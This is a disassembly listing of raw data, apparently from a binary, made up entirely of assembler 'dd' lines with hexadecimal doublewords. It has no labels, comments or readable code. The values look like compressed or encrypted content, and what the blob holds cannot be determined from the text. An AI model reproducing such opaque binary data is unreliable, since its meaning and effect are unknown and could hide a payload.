		dd 91591ACh, 94C707h, 0AAFFC8D6h, 0A15837h, 0B3108041h
		dd 4B166345h, 22EFDF05h, 24406A48h, 4AB40C85h, 792705AAh
		dd 401D8FCEh, 65A7A0D0h, 0F500B215h, 6680072Fh,	0E56ABBh
		dd 94682EB7h, 62A7C7E2h, 86EFDE07h, 8DC083DFh, 1D7E2F6Eh
		dd 12026110h, 0BA000815h, 792E568Dh, 16A14D0h, 5A775D50h
		dd 10128FCBh, 0AAA9BAh,	0B8CA7C2Fh, 2E845B86h, 24C37600h
		dd 22B9A73Fh, 0A02F019Ah, 0F155EFD9h, 4CF05067h, 0D23AF599h
		dd 29D80F92h, 0D1B6C0A5h, 58B762D0h, 3C096DE7h,	4C078404h
		dd 17E00AAh, 6100EE9Ah,	8D955233h, 0B54B18h, 0DFEAC5FBh
		dd 6EA58205h, 9A10CA01h, 4B61E320h, 0F5BF443h, 0F2B34F08h
		dd 0DB308158h, 0CCEE0F03h, 2442E4Ch, 0A49387B8h, 7C80495Dh
		dd 700AC789h, 2F39F298h, 72AD8DBh, 673EC148h, 84294Ch
		dd 0DDE98058h, 0C503E357h, 8206FE75h, 0CE76B63Ch, 0EAF0FB90h
		dd 0BD49098Eh, 2420EDC3h, 3FAB284Eh, 0FE0FDFE8h, 75290873h
		dd 38B530C0h, 181CBA5Fh, 19D106A1h, 6B0096ABh, 0A72AF35Bh
		dd 17409FCh, 4F8C4263h,	0DCFDD761h, 653EB4BFh, 0F16D3049h
		dd 7C2B83h, 3EF756AEh, 8E7AB7D0h, 0C4E40854h, 603E12F2h
		dd 1F520031h, 0DD7C37CDh, 0F3AC0015h, 4B4550BAh, 783BC9C5h
		dd 89A1635Dh, 15C0DFE1h, 48724h, 0D574A526h, 867EFF06h
		dd 5E8F4918h, 48BC5181h, 0E386ACADh, 0D3F019ABh, 39D8B70Eh
		dd 15D08027h, 90753E2Bh, 95F00C4h, 0E354302Dh, 31D6BEDEh
		dd 19992701h, 0F38EDFh,	8A910651h, 65DABE2Dh, 0C85A9F00h
		dd 0F4AF0C1Ah, 0FEDB3DA5h, 4B19E200h, 0E4BD2617h, 4DADD922h
		dd 0D70B308Fh, 9680E9C5h, 2EF39AA8h, 0CAD6410Fh, 13A380CDh
		dd 0AACE738h, 108EEEB7h, 60B2809Ch, 0CF6D707h, 3D341300h
		dd 0A0C55632h, 7D480F87h, 2B2A2879h, 89F760E8h,	56057ABEh
		dd 29FCC5D3h, 0EE214F86h, 0AE2F30F1h, 0FAA24298h, 0C0137200h
		dd 0FB0F212Eh, 3CB21F9Eh, 20C84192h, 0EC9010D8h, 9301DED3h
		dd 0E4A84835h, 0D9BCBFB7h, 678F7105h, 0F7400756h, 0F0B220C7h
		dd 0D89907F4h, 9F17DA00h, 2036A46h, 0F7B7A7CDh,	6860DF1Dh
		dd 2B01E1ECh, 0BBC69C1Fh, 0F98616C9h, 41C4EDE3h, 613C5630h
		dd 816A5Bh, 71A6C7D2h, 93A71F68h, 94D3CB00h, 979B2792h
		dd 49620979h, 0F491636Dh, 1721D240h, 50E04661h,	0E3130023h
		dd 3F0CF8B6h, 0E105059Ch, 35F14410h, 28A49040h,	2AF2171h
		dd 0D57816E7h, 0B88326A2h, 0C0A46FA5h, 9A3C8970h, 0DC063090h
		dd 7A17D21Bh, 0F29C1B20h, 55BA4932h, 89837960h,	59092F19h
		dd 0B8EC1722h, 7F17DEAh, 24E63BDAh, 39EC2022h, 30B1B0BDh
		dd 5820F116h, 636B4Ah, 9172C96Ah, 0C2BC7EFAh, 0F02818B1h
		dd 0D37C3698h, 0F13A5D30h, 493530h, 0ABBE3CCBh,	34BD9C56h
		dd 96AD000h, 0A2C1C486h, 9B141220h, 2D140853h, 0E2FCB684h
		dd 65812081h, 60F7E88Fh, 88805D89h, 0B9DCB664h,	0D21C5558h
		dd 1EB8B701h, 0A0FE06CDh, 0D2A57DB8h, 892F00B9h, 7F4839C4h
		dd 0BD610701h, 143C2C21h, 0E4706ECh, 8FCA6DCCh,	400C4B9Eh
		dd 702D5D81h, 5822F2h, 5B0BF4ABh, 16A1B8Eh, 49131705h
		dd 0E422C19Fh, 0ED0AADFDh, 0DD645F16h, 82DA090Bh, 98707A20h
		dd 3E77BA88h, 169F0661h, 0B3ED80D3h, 697B21D2h,	80B8273Ch
		dd 0B7413BCBh, 0B70E9h,	0D87C1174h, 8350E4DEh, 6618D0E1h
		dd 3C924918h, 0CEBC0699h, 0E1CF9CD1h, 9252CAE0h, 29017C8Eh
		dd 8C33B583h, 0CC62A8E4h, 84169853h, 275505FDh,	2F48C2A1h
		dd 0A86C9210h, 7C4DD9FCh, 0B2E62657h, 4C36068h,	50998FE8h
		dd 0C225AA05h, 58A400FEh, 6C8E05EDh, 2BAFA103h,	0A87975D4h
		dd 0ACBA62Eh, 442DF054h, 7C1B61C4h, 0B0337034h,	3295A901h
		dd 8B08855Fh, 3420C8CDh, 27C703E1h, 9AF3F1B1h, 20D379C1h
		dd 11018880h, 0B374D2D5h, 6C625655h, 0D712A200h, 0EA7D7A34h
		dd 0ECFDA9E2h, 0C007E767h, 0F278D2CDh, 3DCF489Ch, 58F8FDDEh
		dd 5F0FAC2Ah, 43415BEBh, 70654190h, 442C5554h, 0E160508Ch
		dd 0AABAFDh, 5D5BA4CBh,	0DC4CDBFh, 0AE00B7F8h, 3BE66462h
		dd 20B1BC6Ah, 0FF095A19h, 4992D28h, 6CD1F060h, 0CC603447h
		dd 0DEF7242Bh, 7A9501CBh, 628FA709h, 0DFB005Ch,	0BB3D73A9h
		dd 0CB2A03E6h, 0E109F8B9h, 67655CA8h, 5F357802h, 82314C83h
		dd 28C1E3D4h, 0C53A6188h, 47932007h, 50431B00h,	0C4845FCCh
		dd 0A9732E1Fh, 98039834h, 7900D3F1h, 852E6D54h,	0ABA45Eh
		dd 8C284AEAh, 7F195B0Ah, 88171307h, 0F1F5B6D7h,	80EAA400h
		dd 2F7902Eh, 8378E9E5h,	48C0CA48h, 9BEC5BDFh, 0C90122h
		dd 150F81B0h, 4006D718h, 809DD300h, 4A3A2F79h, 19CE2485h
		dd 7DFB60BCh, 0DA006AE7h, 8F528335h, 7281401h, 0CBFF1345h
		dd 7876C384h, 96D020DDh
		dd 3200A3DFh, 0DE7FAB5Dh, 0F92A0CBh, 0FBD397CAh, 0DB68F3E0h
		dd 0B216B516h, 0E40F3B7Bh, 9890ABBBh, 0DC6418h,	0BE4F9823h
		dd 0D714D4CBh, 2B82C900h, 9BB2B0C5h, 78D5587Dh,	94B40300h
		dd 0AB9E8854h, 8C998F75h, 0A23F5B40h, 31412228h, 1C9A492Eh
		dd 0C1ED6543h, 7420FBB3h, 0F87300D8h, 2856C133h, 0CCF898FFh
		dd 7EA21600h, 1C4BA748h, 0AC695020h, 0CC3F4EDh,	1AC4BC7Ch
		dd 8718ACB9h, 6B693D56h, 13800E65h, 15004AD7h, 0E5A875E1h
		dd 0F6E73A00h, 3BAEB6BDh, 1A49967h, 982C0C9Dh, 3565D4CBh
		dd 5AF7A513h, 51ACC406h, 0D9D80308h, 28471F5Fh,	3C823E88h
		dd 788E8C28h, 0FEF30B0Eh, 2E84E029h, 8F18AA9h, 6D98498Bh
		dd 0C82C8380h, 0E47510DFh, 0DA880DB4h, 0C041EC8Fh, 340C5FA7h
		dd 70D53130h, 80D89401h, 6157982Bh, 1E02214Fh, 27E8FF9h
		dd 1A440C6h, 2A353129h,	0FD6010C9h, 51682043h, 0F1774812h
		dd 0D30F8C90h, 1B0409ADh, 980E283Eh, 16D706F1h,	24305FBCh
		dd 4058067Ah, 3388AB9Bh, 98A90100h, 56D726D6h, 114D24DAh
		dd 3005139Ch, 2DE4CB84h, 830491Ch, 0AC509F00h, 506BD0D9h
		dd 0D2F0FDh, 54962D6Eh,	0F1148B59h, 742E49h, 0F64A9127h
		dd 0E6D4C33Eh, 6DF0F7E7h, 0CE460092h, 0DD2D83BDh, 0B8907BC6h
		dd 222CC75Ch, 0E58F3047h, 0D5ECD481h, 0BDA74103h, 0E89B9AB2h
		dd 60F1AC9Dh, 1FD86928h, 5B003564h, 833FFB7Dh, 188785Fh
		dd 0BF7442DEh, 0C0F54117h, 9000FDDFh, 0E07F46D5h, 7966B537h
		dd 5F4A16h, 8F630550h, 8D805A11h, 0CDF2012Ch, 0E66BA412h
		dd 5F06EC4Ah, 4EC8B7A3h, 5D001379h, 357EA3C5h, 0B0568E7Ch
		dd 0FA7024h, 65A5E03Eh,	0C19A7A2Bh, 0F0CC648h, 71498708h
		dd 2F0E43Ch, 9B7DDBDEh,	70E4F12Ah, 0D4441707h, 16516255h
		dd 0D2D482E8h, 0B8D12E05h, 0FA060098h, 0D57A521Ch, 0EFBD7500h
		dd 6B6C3084h, 48D27DB6h, 0B0516C7Fh, 0E0C79089h, 0D90FE306h
		dd 54F56FA0h, 0A2394BE8h, 568194EDh, 0EE8383BCh, 0A819A828h
		dd 75980005h, 3988B6C5h, 0AE08408Dh, 803DF20Dh,	52AB6A3Eh
		dd 0A00DE57h, 0FCD8598h, 716FA7Fh, 1AF5FC80h, 0EC104B32h
		dd 7E3D13CAh, 0F254009Dh, 80F70C1h, 4FF16BBh, 0DC851Dh
		dd 168CE970h, 4CEFB479h, 3D7694C8h, 0D0139EFCh,	60CC43DBh
		dd 12F61Ah, 45FF3FBh, 0E5FC103Dh, 357BEE00h, 972B2441h
		dd 0CE892CBDh, 0AFBC8B54h, 2AFC6410h, 4955A1C0h, 0B096918Fh
		dd 0EB8A05A9h, 806DD3EEh, 1B5DA7CCh, 25E08D3Dh,	246CA006h
		dd 1C6BAE66h, 0C0C88694h, 294ADA6Ch, 0BD0A3AB0h, 0EC9ED58Dh
		dd 97D18069h, 0AAC521h,	77021595h, 19093EDEh, 57032FF8h
		dd 72287E11h, 44E0FECEh, 0AC0040B5h, 3D811E7Ah,	3EBC7F4Eh
		dd 0C168BFC3h, 43F43330h, 37880BE8h, 0FB598003h, 0B9087165h
		dd 7E0A178h, 0B88C48FAh, 8017AD15h, 0D2D1AA02h,	0BCE6A0C5h
		dd 2C1C3700h, 685FAEC0h, 8CFB02B6h, 908DC402h, 3060F8CAh
		dd 0BCB9674Eh, 8A522400h, 3AF4F554h, 0B400DA16h, 0D3C5D42Ah
		dd 7D4EA565h, 1C6DE420h, 0EAB63A1Ah, 0F09A5100h, 75CE9C3Eh
		dd 1435622h, 0E7D37493h, 0F8385F69h, 0A400E8C8h, 18E4519Ah
		dd 626B4910h, 4828F934h, 0BB794480h, 27078495h,	0B33C174Bh
		dd 498664Ch, 496C10F5h,	3004A563h, 0A10B9CE9h, 855F60DEh
		dd 5C80D1CBh, 9036F6E9h, 1C72E25h, 20401674h, 76D9B728h
		dd 5301CDE8h, 441C03DAh, 9C607E1Dh, 296B04F6h, 0B53B287Ah
		dd 80782C90h, 0CC1C0794h, 285407C7h, 0F2F86C1h,	0D4171040h
		dd 0A604A4B7h, 0ECE41598h, 0C2B4CA4h, 8C9F0930h, 5A28E960h
		dd 170807Ch, 2C77FE01h,	741321F7h, 8100D833h, 0AF4AE81Ah
		dd 82F271DAh, 8FECF809h, 8E1886AAh, 0D1361F99h,	83A8C0FEh
		dd 0DAB620BAh, 0C600A0FEh, 3227B72Ch, 12ED7EFFh, 9006A1C5h
		dd 0C429E36Ch, 960098B8h, 61B262B8h, 0F55CA1Fh,	2B79A032h
		dd 82CC8C80h, 18727874h, 137A6025h, 0FE6C9234h,	99120006h
		dd 1A267FAEh, 4CD9B800h, 0FDCF32CAh, 0F3B5092Dh, 59005F10h
		dd 0D896CCB7h, 1E4F712h, 0D367F820h, 0DF7368h, 32BE28A3h
		dd 0A67556F4h, 0F5A2741Fh, 0B81E0640h, 0A5342A5h, 0B0702D84h
		dd 0F7D17F8h, 1C610334h, 53373629h, 183B9E88h, 0DA540007h
		dd 8BB2FD5Dh, 0F98078C2h, 524AD20h, 0E0E6BC4Dh,	0F6CB279h
		dd 0E08CD82Dh, 7B7624BEh, 0C14016Eh, 2BC6A62Ah,	21383050h
		dd 0F3C58C0Bh, 1C10277Fh, 60440A29h, 38F33F64h,	0AB8F060Fh
		dd 740C809Dh, 0B8260439h, 5509F4F8h, 807707C7h,	5CDFE7F0h
		dd 5E7D17F3h, 0D5C01222h, 0C55867B4h, 0DE388892h, 93540C07h
		dd 6100CE23h, 0F84FB962h, 0C5BC2D84h, 2444CA1h,	78B450B4h
		dd 5B0BA472h, 805304DAh, 50F42E71h, 601758C2h, 0BC1E0C52h
		dd 292068B7h, 90567Fh, 0F53064FBh, 1F002A4Ah, 7C4F6EB1h
		dd 13AA81D5h, 908FBC8Ch, 0BEFF44CCh, 2DAAF4Ch, 964730Ah
		dd 29AEC02Dh, 84BB33h, 0C4B67118h, 740AD411h, 38672B54h
		dd 0E68E7702h, 109241AFh, 2AA1270h, 0B7B6A4FDh,	0C0D9A20Dh
		dd 9907A728h, 0BEFF5F1h, 642528B0h, 0C8880062h,	8CEB2F9Eh
		dd 99006032h, 0E05FB722h, 1211105h, 94591BB6h, 50C80209h
		dd 0C7EBAE80h, 2CB26B00h, 213854FDh, 0F4DF004Eh, 357682BEh
		dd 6E24A897h, 641608D5h, 76794061h, 83C899E3h, 0EF11E878h
		dd 74D317B1h, 862E8A01h, 80220208h, 0A79D3300h,	0E6D5219Bh
		dd 15F3800h, 6EBBA3EFh,	8A640254h, 0CE32C712h, 0C001A4E6h
		dd 6634224Dh, 92F0D482h, 0B862EE0Bh, 1724007Ch,	0B85DDEFFh
		dd 8D602C33h, 322B51A8h, 7B6C035Fh, 1DB59A78h, 59480E4h
		dd 23050BCh, 83A991CFh,	5B533DB6h, 0CE1D400h, 0CFB387BAh
		dd 0F8BED703h, 0CCACC423h, 75F18080h, 444C9032h, 9050706Dh
		dd 0BC3A7AD8h, 5858CBACh, 91F21688h, 0C17A006Ch, 0D82A8E83h
		dd 0FFEB8407h, 7EB20634h, 0E408C2D5h, 9CF73CC8h, 0FE371B02h
		dd 0FCC075AAh, 0BF4CF1B4h, 5C4E3CF0h, 593D34C4h, 370708Ch
		dd 83CF8E96h, 0A5A8ADDBh, 560B7357h, 8076F6FDh,	8AB79104h
		dd 0F1C404CEh, 2C3C29h,	697A16B5h, 205F4CD3h, 51A08528h
		dd 11E4F856h, 761F0EEh,	7917F3D2h, 0F2891EB7h, 0F8260090h
		dd 0FB5D0F00h, 932A66A0h, 6190A19Ah, 40342811h,	52FFDD34h
		dd 0E20188C1h, 861B46Ah, 7AE060EAh, 257577D3h, 0C0A0D4BFh
		dd 487EAB79h, 5890863Dh, 0FEDC0B34h, 10758972h,	6056700Ch
		dd 5DC56142h, 842E2FE1h, 0A300E943h, 19F8D146h,	0F8075247h
		dd 0E620280Eh, 14FBA8A0h, 8FE67AB0h, 58AFC803h,	0D8E52A74h
		dd 9BC5F90h, 3529E8E1h,	0F02D70B8h, 705C8F24h, 0BC655A02h
		dd 33F85AB6h, 599907FDh, 0E677B7h, 84550691h, 8365A604h
		dd 0A0C3FEB4h, 27290362h, 7A8ADF9Fh, 70F08CCCh,	5FBD3F2Eh
		dd 0EE4FF61Ch, 0A8B8E069h, 75485234h, 0FB6D13B1h, 0F4B40111h
		dd 2095D6B6h, 0B025DA50h, 7F98100Ch, 6B8C097Ah,	0EF829748h
		dd 10F82E1Bh, 55DF0707h, 0DE40208Fh, 90CBFC45h,	0BB53090h
		dd 387E2320h, 0C0B7E318h, 97B35D1h, 872D29CBh, 0B45FA407h
		dd 972C80BFh, 0BD50258Bh, 0D83A1DD8h, 4869BD9Eh, 9C2F075Ch
		dd 8529B317h, 903054F6h, 0F12FE57h, 0CEA10DE9h,	3B19B38Ch
		dd 2480CD2Eh, 194B1600h, 987AA646h, 5BA71D30h, 6C5C3C84h
		dd 81814121h, 373D664Bh, 0BE1C420h, 4D961BC8h, 32DF1201h
		dd 7D389844h, 21F2C48h
		dd 2239120Dh, 0C04187BBh, 25AC766Dh, 80D09370h,	0C015C8h
		dd 295F9EAAh, 0DC32E251h, 49824A02h, 0C1D7F8BBh, 7C33D928h
		dd 1E37DE07h, 0E68A0F63h, 0AEBC096Ch, 0DA029C90h, 58F0055Ch
		dd 884A18h, 43BA05FBh, 2F5508Ah, 20587FE8h, 811E8841h
		dd 0F7F1BDF8h, 80FC8B60h, 0FE990216h, 7FEAC58Fh, 6A49840h
		dd 50802CB6h, 0E5D65501h, 91F41503h, 1C0034E9h,	160F432Ch
		dd 56139E26h, 0B800174Eh, 0FD62F9A7h, 7D19054Ah, 8806FF67h
		dd 0A4079114h, 6D814F55h, 20B0A130h, 809096F1h,	0DF601514h
		dd 8E034B3Fh, 0D1BEF069h, 111AE0C6h, 72042C6Bh,	0D8771B7Ch
		dd 49C0CBE8h, 0BC919968h, 0B9D62D00h, 1B7857Fh,	16861ACAh
		dd 30D784E6h, 2BE39444h, 913C0421h, 3169DE4h, 0BFA1DC6Ch
		dd 0A9583328h, 0AB6E251Ch, 40648Ch, 0A62EC6D7h,	5D0D1B53h
		dd 308EF12Ch, 0EF1FF340h, 24A00048h, 0B4A27D6Ch, 0E0E4E8E3h
		dd 0B742E0A6h, 6656FF07h, 0B94ACF16h, 0BEF560FCh, 0E800992Dh
		dd 79F2BBFAh, 448E9013h, 2707510Fh, 47D18D14h, 0F1ABD4B3h
		dd 4072C3BCh, 0D8F59204h, 3E5E8Fh, 0C64D43E3h, 0F20E28h
		dd 2352F327h, 1029BF34h, 8677B304h, 0DC825B32h,	6CC4015h
		dd 0B7E505E9h, 0F49C490Ah, 4848797Ch, 0CE127482h, 6C8885E0h
		dd 9DF70037h, 0B4E7737Fh, 7B004F3Ah, 65443B10h,	2EC64E49h
		dd 0F7CB8D7h, 8EA34D75h, 0CEF0BE2Dh, 72126014h,	9C422380h
		dd 202EF27Eh, 0CC819440h, 74605600h, 9D17EA70h,	2DC600EBh
		dd 0FDB50F7Dh, 0B4919149h, 1D833429h, 0C8EE63A8h, 87CE658h
		dd 2BF1DCADh, 61DDD780h, 1749CABh, 0E0661AECh, 6C28C3CEh
		dd 5A7E80B0h, 0ABB4F5h,	1694B8F7h, 995DDB6Bh, 55DC2516h
		dd 0AC8C890h, 5E511DD4h, 783E4086h, 0CB83EDAAh,	1DD84100h
		dd 5DA890E9h, 24B0882Eh, 8F00CAF8h, 19609CB7h, 73F78854h
		dd 0E21B09A3h, 888BB6E7h, 0BCD35C02h, 2560BC56h, 4E90576Dh
		dd 773C202Fh, 3E051645h, 55F08FF1h, 3E8048B4h, 0B2049FDFh
		dd 98D5889Eh, 8D047F94h, 2E295417h, 498F7888h, 0C2602009h
		dd 0D7A3C789h, 637C431Eh, 7060D300h, 9A169CF6h,	536E14A0h
		dd 7B87B807h, 10C4C7C1h, 0C02CE088h, 528EFD17h,	4A64CC8h
		dd 0D36BFA6Ah, 0AAAC88F1h, 463FF200h, 5E129B59h, 3BB40301h
		dd 564029C4h, 688E392Ch, 58A1C740h, 1ECD1EE0h, 0B027C7E9h
		dd 0D6519007h, 0A300CBE8h, 9937C093h, 14120F7h,	0C4D933C7h
		dd 2BD86EABh, 0C9358020h, 73740120h, 0AB376505h, 6807DDDBh
		dd 0A93883DCh, 0E87D9B3Fh, 373287h, 7262578h, 76A20A65h
		dd 0FE158616h, 4E1F6400h, 4A230EDFh, 81082027h,	0CE005BCBh
		dd 0C70820ADh, 0E2E334C3h, 5CFB0130h, 62108357h, 0E4073023h
		dd 8010EF4Ch, 3F7B982Eh, 4BB40BE6h, 0A002871Ch,	0E429B5AAh
		dd 0A8FE0154h, 0E3887B2Bh, 0A39BD0ECh, 4C022307h, 5620523Ah
		dd 2F7E4A64h, 0FC906B49h, 0F5001963h, 0B9852E70h, 0E35330D0h
		dd 2ED8F4E8h, 190D5C3h,	0D3A4B2F9h, 19A46834h, 0DA0879A1h
		dd 0E0705EF9h, 7E2D1328h, 80561F7Ah, 781480EDh,	16096543h
		dd 11E6E347h, 3030D50Ch, 20286022h, 7A0B622Fh, 6B341600h
		dd 79D38FA6h, 98DBEB9Ch, 0C8C0EA44h, 739863B0h,	59A2F120h
		dd 0BD0360D8h, 0D006CFE1h, 7E9D6100h, 925CC684h, 0C520062h
		dd 0BC618C35h, 0F31F224Ah, 0A84CEA0h, 54B8FE6Ch, 4C7CEB80h
		dd 0A2009F3Fh, 858BE1C9h, 0B8C24A97h, 0EC2D3007h, 2E80E8F0h
		dd 0EEB4A800h, 0D0ED7E3Eh, 214A4F2Ch, 71EBFBE4h, 462DE4A3h
		dd 0E418C4A2h, 0A626BB9Ch, 0A8136C2Bh, 3E74F030h, 8A8AA8Bh
		dd 7E01909Eh, 60F21745h, 0FC715980h, 0A77359F4h, 74EC7507h
		dd 0F2CFB4C2h, 0A394E4h, 7579A83h, 0D2D46BDCh, 6582C504h
		dd 10904456h, 0E826289Bh, 0FEB000F2h, 661DB6F6h, 14B1C2BCh
		dd 0F8B1A800h, 488202D6h, 58C090C4h, 1A63FB98h,	0E36A7B00h
		dd 0C529F9F8h, 89794EE9h, 5ACC36ECh, 0FF9FC02h,	19FCE102h
		dd 3F6C48D8h, 3E2EBF17h, 0DFF660D8h, 0C01D9983h, 0FC8E15E5h
		dd 0BAECA097h, 0C56F9849h, 0CCB7B429h, 9100DB34h, 0CEB86213h
		dd 0EEB3BEA3h, 10E9012Dh, 6B7963DFh, 78EC85Fh, 9DB6C1C0h
		dd 0E6FE9FB9h, 0DFC100BEh, 0D4068156h, 0D0127155h, 24054283h
		dd 0B88584D7h, 0ACBC2105h, 905B78F4h, 23901ECh,	0ABB6CE0Fh
		dd 0D78C709Dh, 47C40097h, 18953580h, 0F08B7755h, 0B89038E8h
		dd 0E8E0FEF3h, 9B272F5Ch, 0BE1844E4h, 83073F2Ch, 202479A3h
		dd 0BC71669Fh, 8422C44Eh, 3C14C67Eh, 4B011DBDh,	37856E17h
		dd 0A0202A16h, 4CFEB6h,	0CCCA1335h, 1DB5B0B1h, 404ABE01h
		dd 0CEA11921h, 0F25F420h, 34BBAE8Ch, 22F97900h,	0E40E626Eh
		dd 8917FC18h, 0A92810DEh, 0E9900004h, 6A509D3Eh, 4EF04ABDh
		dd 6FCD450h, 80BCD8BEh,	7D1062B8h, 27E433Bh, 0B49F1588h
		dd 9474C5BCh, 8B20AA44h, 0ADF58F49h, 215890B9h,	1E4C00B4h
		dd 0F307CC5Ch, 5700483Bh, 55AEC3D4h, 0E8695189h, 9435006Eh
		dd 0CBEFDA4Ch, 607B54Bh, 3F2C9010h, 0F56B3131h,	0CC43A1C5h
		dd 0CD80471h, 0ED2BBC16h, 9A198258h, 7200584Ah,	24129DA1h
		dd 0D86C12C0h, 0E1E00401h, 0A491A22Bh, 7F3D2730h, 0B75905C4h
		dd 0F3D6D0D9h, 4828145Ch, 0AC0893D4h, 8C73826Fh, 0D490FC1Fh
		dd 0ECFAD82Dh, 6139D200h, 76587020h, 3B0D015Ah,	47F24E0Fh
		dd 0BAA46097h, 1C50DC88h, 4140BBE2h, 0CCB6715Eh, 3066E488h
		dd 53B9E88Bh, 203613F7h, 33500284h, 4451D5AEh, 0C830A100h
		dd 1B298A5h, 167C2BC1h,	29F27567h, 3E310FB4h, 820B015Dh
		dd 93F42227h, 0B28700DCh, 9A0AFA11h, 7A7715C5h,	6D0275E4h
		dd 0E4B89E72h, 40D474E6h, 0E9F09A89h, 370F1690h, 999ECEh
		dd 0B8A71741h, 0C9E100BCh, 0FF804869h, 609464B4h, 3941CC40h
		dd 0D2439FF3h, 66F8E180h, 24A8A097h, 72BA3E83h,	62980F27h
		dd 2CE2F1ABh, 0A45991D6h, 3890148Ch, 34388843h,	212F700Fh
		dd 0B947803Eh, 0DF99C96h, 0BBE0E33Dh, 439438B9h, 54215BE4h
		dd 483DF117h, 0C09D5F1Dh, 0D6FED539h, 9E08FAA6h, 8F6F9049h
		dd 5FA08D7Ch, 7B67D116h, 24B30628h, 684DCC04h, 80AD8E8Bh
		dd 5B4B1700h, 3BC89ADFh, 0F9000498h, 845364F1h,	0FC2F4AF8h
		dd 92C10BEFh, 0F8E47CD9h, 0FBA17400h, 63DE970Dh, 29F51314h
		dd 12A8A247h, 0A4F094D1h, 0E309A79h, 0E44EF221h, 801759C7h
		dd 0FB9EC6F8h, 0B6CDCB06h, 903060F7h, 3B3A2E64h, 2B5750FCh
		dd 2446C600h, 0CDE2FC88h, 0ED350EB8h, 780B7158h, 0EF75E4E4h
		dd 1D51F900h, 2785D934h, 0DEB30043h, 0C8738DA8h, 0CB0047C3h
		dd 835FDF20h, 4826AC68h, 8070E014h, 22FAD3FCh, 907DDE25h
		dd 0A58A54h, 0DDF77EB2h, 0D66370C5h, 2D49BB01h,	0F1FF23EFh
		dd 32005869h, 0A8FD4816h, 8A0010DBh, 0D09806A1h, 0D88D87h
		dd 8CC84595h, 0A505194Bh, 906578CAh, 0E9BFB07h,	3ECCF440h
		dd 0BBC912DAh, 2C10F5B7h, 9A480D8h, 652177h, 0DDAF4250h
		dd 0A7D79BE7h, 0D87358h, 0DCB71FEAh, 0BF8798h, 762E83EDh
		dd 0C4BBD017h, 0E385E0B4h, 8825810h, 40387C2Ch,	8AC227D7h
		dd 0AF548FA0h, 0B6CA1E00h, 0BA85717Ch, 0EF585D8Eh, 50784871h
		dd 790E2B22h, 7DAEAF46h, 0ECB0B16Fh, 484BE310h,	0C82BA31Fh
		dd 85246165h, 539C70h, 0B4E578D3h, 7240982Eh, 9022E20Bh
		dd 0CCF88021h, 0B98F5FAFh, 0C4850000h, 0E4B28609h, 2BB33900h
		dd 378ED98h, 3CCB053Dh
		dd 0A455F78Fh, 2D005498h, 46C2C85Ch, 1E5FE9Ah, 0DA9F741Fh
		dd 3F56852Bh, 1D95BC40h, 17D7BBE6h, 497DF32h, 0B4671C3Fh
		dd 5200CFA4h, 442CCBD3h, 401475h, 0F885E823h, 836EBF1Eh
		dd 49266009h, 0E06CD07Fh, 0C5D002B3h, 567242DEh, 9F837476h
		dd 0D3019CEEh, 0C760CFC3h, 73395B4h, 0A52919EDh, 5018BB87h
		dd 0B9138835h, 0E408F3B4h, 0A683806Dh, 2E289C50h, 0D4B6DCA4h
		dd 6175DD40h, 0FADE0215h, 0F974A177h, 1C091EE0h, 0D28C0150h
		dd 109588B0h, 0BBD2D30h, 321CE979h, 5E0748C4h, 519DB1E4h
		dd 0CEF0CA90h, 0AF5A0227h, 710B285Bh, 8E8C0EC0h, 0F7000899h
		dd 8709AC41h, 4F6100E8h, 0C48C0790h, 30B729F8h,	48BC643Ch
		dd 44820CB1h, 441CE7Ah,	54D1D25Bh, 7055D981h, 28380ABBh
		dd 0F654E180h, 52E831C4h, 28208B5Bh, 1DE0A0A2h,	0C05185EBh
		dd 7B4A7869h, 4E0140F9h, 491CAA8Eh, 322F0A25h, 0D0645DC0h
		dd 4E4B9500h, 19757094h, 10010006h, 5F1B3AB1h, 0A80BD60Dh
		dd 32F1792Dh, 1E3CC6B4h, 0C05F24D0h, 15AC446Fh,	0EF04130Ah
		dd 0CAC5D2BDh, 6694C080h, 94109D5Dh, 75009518h,	8C41BF32h
		dd 57B3E5h, 0A958C04Eh,	0AF712B0Dh, 0ADA31B12h,	43E888h
		dd 2CB6FFD4h, 1E8FFB19h, 0A840564Eh, 0E322AA17h, 414402ECh
		dd 66548849h, 0AB00C859h, 139D1562h, 0A1FC01D0h, 0F07BE24h
		dd 0FDDDF0B3h, 0B42DE4F6h, 0C1E411CBh, 10C4E9A5h, 1C20AA00h
		dd 0DC3DA64Bh, 9441FFDh, 3BBF0570h, 0D6B18299h,	0FE00D078h
		dd 0D3575B63h, 2679CFB7h, 40E48EF8h, 6A2C75A6h,	3A2B440Fh
		dd 2D2940E9h, 0E8B811Eh, 508FED14h, 5CCAB7A0h, 0E05D8F9h
		dd 231A36Fh, 0B480F4B8h, 0AB74D20Ah, 3416C509h,	0A9D49853h
		dd 82081D41h, 0C09C806Eh, 3DC633EBh, 81C5CD3Eh,	0A21D24E6h
		dd 82C0465Fh, 0FD991608h, 71A88ED7h, 68F07100h,	1867055Ah
		dd 60A60248h, 72EA697Fh, 3DC16CCBh, 0C2D87840h,	52ABBC7Eh
		dd 76B300D8h, 7F3B3916h, 0DE0175D3h, 0CAC12CA2h, 70638938h
		dd 0C8A3F100h, 84AC3563h, 9C3F270Eh, 5AA5C279h,	2990E18Dh
		dd 47F2610h, 0A0576600h, 7BBA5EC1h, 9B8A050Ah, 88F2CDDEh
		dd 4300BE14h, 2521597Dh, 1127982h, 0E1FC5C06h, 800A8FECh
		dd 0F1E66379h, 209E37h,	2452DE2Bh, 6C69D8D2h, 117F6700h
		dd 4532D84h, 95DC9080h,	208B2419h, 474CFCE8h, 4DF057Ch
		dd 0FCC31767h, 3EF8B86Eh, 1AB40799h, 0D34E2FE5h, 28006954h
		dd 1D3A3008h, 1EFB742h,	4F470AA0h, 6B16EDB5h, 0A5883405h
		dd 0FB748087h, 8200CCACh, 0E41784D1h, 0E0095E18h, 9866B50Fh
		dd 1086E40h, 0CD6CD005h, 23499C14h, 3AEB0718h, 0F41030C9h
		dd 7004BFDAh, 0BC531614h, 8E3CB2C2h, 5D4F0017h,	72373Bh
		dd 0C5AD10EEh, 7F4883ACh, 700D80CBh, 6DF71D6Ch,	790EFD8Ah
		dd 37EE441Dh, 0E1F80EA0h, 663E568Ch, 0BC25FE9Bh, 64A4A3B6h
		dd 9017C1FEh, 0FC30AD71h, 1F70094Bh, 308218E3h,	28226399h
		dd 0B6A4C635h, 938B800Ch, 7A4CF6F7h, 77308A04h,	1D40BA06h
		dd 14EE3446h, 1C4FEF03h, 0EA244258h, 7C4C6D6h, 0DB5CA29Dh
		dd 8C5A54A5h, 0A90AD140h, 0E052FE17h, 0D9959C00h, 47250Eh
